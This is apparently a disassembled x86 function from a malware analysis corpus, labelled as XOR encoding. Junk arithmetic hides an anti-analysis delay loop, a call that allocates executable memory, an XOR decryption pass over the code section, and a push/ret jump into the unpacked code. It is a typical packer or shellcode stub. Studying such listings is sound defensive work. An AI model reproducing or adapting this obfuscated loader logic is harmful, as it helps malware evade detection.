Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x28854178
mov ebx, 0x5bf0cdec
add ebx, 0xf62c5ecd
add ecx, 0x89d4da89
popal
sub ebx, 0xc5a1982e
and ebx, ecx
add ebx, 1
mov ecx, 0
mov esi, ebx
mov edx, 0xb0d79f91
not edx
and edi, edx
mov eax, esi
sub edx, 1
and edx, edx
mov ebx, eax
and edx, edx
mov edx, 0x45a86e14
inc ecx
inc edi
sub edx, 0xb7479ce5
cmp ecx, 0x1003d18
jne 0xa789d7
mov edi, edx
or edi, edx
dec ecx
or ecx, ecx
add ebx, ecx
mov ecx, 0xa78796
or edx, ebx
mov ebx, 0x2336c142
not edx
mov edi, 0xa7898a
sub ebx, 0x5f7d8c73
add edx, 0x8c44768d
or ebx, ebx
mov eax, dword [ecx]
dec edx
add esi, 0x4900f34b
sub esi, edx
and eax, 0xff
not edx
or edx, ebx
or esi, ebx
xor dword [edi], eax
or esi, esi
add ebx, esi
inc edi
add ebx, 0x1a042541
mov esi, 0xb25f7648
inc ecx
not esi
add ebx, ebx
mov ebx, esi
cmp edi, entry0
jl 0xa78a33
and ebx, ebx
add esi, 0xa15e1a66
sub ebx, edx
add ebx, esi
and esi, ebx
or edx, edx
mov ecx, 0xa7898e
dec edx
inc ebx
mov ecx, dword [ecx]
mov edi, ebx
and esi, edi
mov ecx, dword [ecx]
sub ebx, 0xef6fed98
or edx, ebx
or esi, edi
sub esp, 4
mov dword [esp], ecx
not ebx
mov ebx, 0x3f2e327b
mov ecx, 0xa7898a
sub esi, edi
mov ebx, 0xbebf0a8f
mov ecx, dword [ecx]
or esi, edi
sub esi, 1
mov esi, 0xc34ccdaf
mov ecx, dword [ecx]
inc ebx
add esi, 0x675bd048
add ebx, 0x6ca88db7
push 0xa78992
add esi, ebx
or edx, edx
add esi, ebx
call ecx
sub esi, edx
and edi, esi
sub edi, ebx
pop ecx
sub edi, 0x37431d00
add ebx, edx
mov edi, esi
push 0xa7899f
sub edx, esi
add edi, 0x4334dbfa
mov esi, 0xc75a4d32
push eax
mov edi, edx
inc esi
and ebx, ebx
call ecx
not esi
not edx
push 0x40
mov ebx, 0xaa7891df
add edx, 1
not ebx
push 0x3000
not edi
mov ebx, esi
push 0x200004ff
dec ebx
not ebx
push 0
mov edx, esi
add edx, 0xfd0519c9
call eax
or esi, edi
mov edi, 0x86538576
mov ebx, 0xc6fcc925
add eax, 0x20000444
add ebx, ebx
or edx, edi
mov ecx, 0x9aafeae2
dec esi
dec edx
not edi
mov dword [eax], ecx
add edx, 0xf856c32
mov edi, 0xa1f99076
mov ecx, dword [eax]
not edx
dec ebx
cmp ecx, 0x9aafeae2
je 0xa78b7d
mov eax, 0
mov byte [eax], cl
add ebx, 0xa106a478
add esi, edx
sub edx, 0x3f3e6f8f
mov edx, ebx
add ecx, 0x4e97c55
sub ecx, 0xb224e4da
mov esi, section..text
sub ebx, 1
and ebx, ecx
mov edx, 0xa78795
mov ecx, ebx
add ecx, ebx
mov edi, 0
and ebx, ecx
or ecx, ebx
mov eax, 0xa78796
add ecx, 0x985f55a4
mov ecx, 0xf7317c39
add ebx, ebx
lea eax, [eax + edi]
not ebx
sub ecx, ebx
and ebx, ebx
mov eax, dword [eax]
sub ebx, ecx
sub ebx, ecx
sub ebx, 1
and eax, 0xff
mov ecx, ebx
mov ecx, ebx
inc edi
mov ebx, 0x787eb07b
add ebx, 0xf34c7100
or ebx, ecx
cmp edi, 0x1f4
jne 0xa78c04
mov edi, 0
and ecx, ecx
sub ecx, ebx
inc ebx
sub ecx, ebx
xor dword [esi], eax
dec ebx
mov ebx, 0x8857596f
add esi, 2
or ecx, ebx
add ecx, 0xf2a75efc
cmp esi, edx
jl 0xa78bb8
add ecx, 0xc3569fd8
sub ecx, 1
inc ebx
add ecx, 1
mov edx, section..text
sub esi, 0x2358127e
mov edi, esi
mov ecx, section..text
sub esi, 0x98f1b097
sub esi, 0x20ea6534
mov edi, 0x91cd3744
mov ebx, 0xa78795
and esi, edi
not esi
or esi, esi
mov eax, 0
add edi, esi
dec edi
mov al, byte [ecx]
add edi, 0x3f47f21c
mov edi, esi
mov byte [edx], al
sub esi, edi
add edi, 1
mov esi, 0x32ca542b
inc edx
or esi, esi
or esi, edi
add ecx, 2
add edi, 0xa11398f0
or esi, edi
add edi, 0xd0d6893f
cmp ecx, ebx
jle 0xa78c72
mov esi, edi
sub edi, 1
sub esi, 0x850627fb
dec ebx
not ecx
add ebx, 0x410d6c0d
push 0x8dc6a0
mov ebx, 0x465a968d
sub ebx, ecx
or ebx, ecx
ret